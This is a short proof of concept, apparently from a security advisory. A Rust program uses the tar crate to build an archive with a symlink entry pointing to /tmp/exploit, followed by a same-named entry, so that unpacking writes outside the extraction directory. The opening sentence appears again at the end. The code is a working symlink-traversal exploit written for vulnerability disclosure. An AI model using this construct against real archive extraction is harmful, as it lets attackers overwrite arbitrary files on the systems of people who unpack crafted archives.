The following tar construct will write to /tmp/exploit:
extern crate tar;
use std::io;
use tar::{Archive,Builder,Header,EntryType};
fn main() {
let mut buf = Vec::new();
{
let mut builder = Builder::new(&mut buf);
let mut header = Header::new_gnu();
header.set_path("symlink").unwrap();
header.set_link_name("/tmp/exploit").unwrap();
header.set_entry_type(EntryType::symlink());
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty()).unwrap();
let mut header = Header::new_gnu();
header.set_path("symlink").unwrap();
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty()).unwrap();
builder.finish().unwrap();
}
Archive::new(&*buf).unpack(".").unwrap();
}
The following tar construct will write to /tmp/exploit: